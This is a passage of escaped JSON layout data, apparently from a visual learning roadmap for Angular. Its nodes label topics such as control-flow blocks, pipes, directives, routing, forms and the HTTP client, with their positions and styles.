\"x\": -436.3084777160734,\n        \"y\": 795.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@else\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -436.3084777160734,\n        \"y\": 795.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ys5untkSppGMFK-VsfuRt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 848.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@else if\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mRB-0CRdGwvxPqZbz08yj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 848.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2kYS9w1UzQFZ1zhf01m9L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.5993272119424,\n        \"y\": 900.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@for\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.5993272119424,\n        \"y\": 900.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nZuim4Fjq6jYOXcRTAEay\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -436.3084777160734,\n        \"y\": 901.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -436.3084777160734,\n        \"y\": 901.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cHC2MH50CbUSMRZV4QGJI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.5993272119424,\n        \"y\": 952.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@case\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.5993272119424,\n        \"y\": 952.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h4MMn0_qUN3YXEdMUJOyd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -436.3084777160734,\n        \"y\": 954.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@default\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -436.3084777160734,\n        \"y\": 954.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AwOM0ucg6W7TohdUd7KWT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 1004.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@let\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 1004.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ONy-0olujU_FGZM7Wvfr2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -436.3084777160734,\n        \"y\": 1007.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@defer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -436.3084777160734,\n        \"y\": 1007.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j99WQxuTzGeBBVoReDp_y\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -340.63327447982533,\n        \"y\": 739.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pipes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -340.63327447982533,\n        \"y\": 739.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_-mTs_FMeob-ZGK-bb3j-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -332.63327447982533,\n        \"y\": 848.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Change Detection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CCLlL17z35brwlr-q2FDV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -332.63327447982533,\n        \"y\": 848.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i2taHzQ5KLHjkkpbH4Ytd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -332.63327447982533,\n        \"y\": 901.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Pipes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -332.63327447982533,\n        \"y\": 901.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nZxZnzbQg9dz-SI65UHq9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -332.63327447982533,\n        \"y\": 795.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pipes Precedence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CCLlL17z35brwlr-q2FDV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -332.63327447982533,\n        \"y\": 795.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BOYXGfULJRiP-XOo_lNX3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -332.63327447982533,\n        \"y\": 954.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom Pipes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i2taHzQ5KLHjkkpbH4Ytd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -332.63327447982533,\n        \"y\": 954.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kGzlumFdZFxTRZ3HnCGFO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 332.25667336124326,\n        \"y\": 884.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.25667336124326,\n        \"y\": 884.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xk3v8p6vf8ntGj5c-IU4U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 690.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Structural Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 690.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xvwby0FTdIolRrV2j88fY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 743.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attribute Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xk3v8p6vf8ntGj5c-IU4U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 743.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7GUvTMVzfdVEDBOz-tHUT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 796.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xvwby0FTdIolRrV2j88fY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 796.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a74v78SvGtWduZpXs7wSq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 332.25667336124326,\n        \"y\": 1142.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGzlumFdZFxTRZ3HnCGFO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.25667336124326,\n        \"y\": 1142.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dbAS-hN1hoCsNJhkxXcGq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 961.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 961.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ewbDdPYv2SJl_jW3RVHQs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 1014.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lazy Loading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 1014.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1ZwdEL0Gx30Vv_Av3ZTGG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.04484613528683,\n        \"y\": 1067.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Router Outlets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 191.04484613528683,\n        \"y\": 1067.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8lFyuSx4MUcYRY2L8bZrq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1222.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Router Links\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1222.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YF_sG292HqawIX0siWhrv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1275.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Router Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1275.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PmC4zeaLpa5LoL4FhYXcG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1328.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Guards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 192.04484613528683,\n        \"y\": 1328.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CpsoIVoCKaZnM_-BbXbCh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -131.73327447982547,\n        \"y\": 1142.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Services  & Remote Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a74v78SvGtWduZpXs7wSq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -131.73327447982547,\n        \"y\": 1142.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8u9uHCRt9RU57erBy79PP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -131.73327447982547,\n        \"y\": 1222.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -131.73327447982547,\n        \"y\": 1222.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q36LQds8k_cSjijvXyWOM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -418.63327447982533,\n        \"y\": 1347.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CpsoIVoCKaZnM_-BbXbCh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -418.63327447982533,\n        \"y\": 1347.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1d3Y4HVnqom8UOok-7EEf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1095.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1095.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XC_K1Wahl2ySqOXoym4YU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1148.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Typed Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1148.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uDx4lPavwsJFBMzdQ70CS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1201.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template-driven Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1201.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CpufN6DAOj5UNab9vnH0k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1254.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dynamic Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1254.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kxRtLsB3y_th8j-HjmJgK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1440.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom Validators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1440.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m5dgKgUR3ZqI9sBAzToev\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1493.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Control Value Accessor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.6332744798253,\n        \"y\": 1493.7304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8UY0HAvjY7bdbFpt-MM1u\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -126.73327447982547,\n        \"y\": 1347.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Client\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q36LQds8k_cSjijvXyWOM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -126.73327447982547,\n        \"y\": 1347.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AKPhbg10xXjccO7UBh5eJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1436.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Setting Up the Client\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1436.7304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HjGAv3aV-p4ijYJ8XYIw3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1489.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Making Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1489.7304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xG7iSVOGcbxJbNv3xbNfc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1542.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Interceptors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": 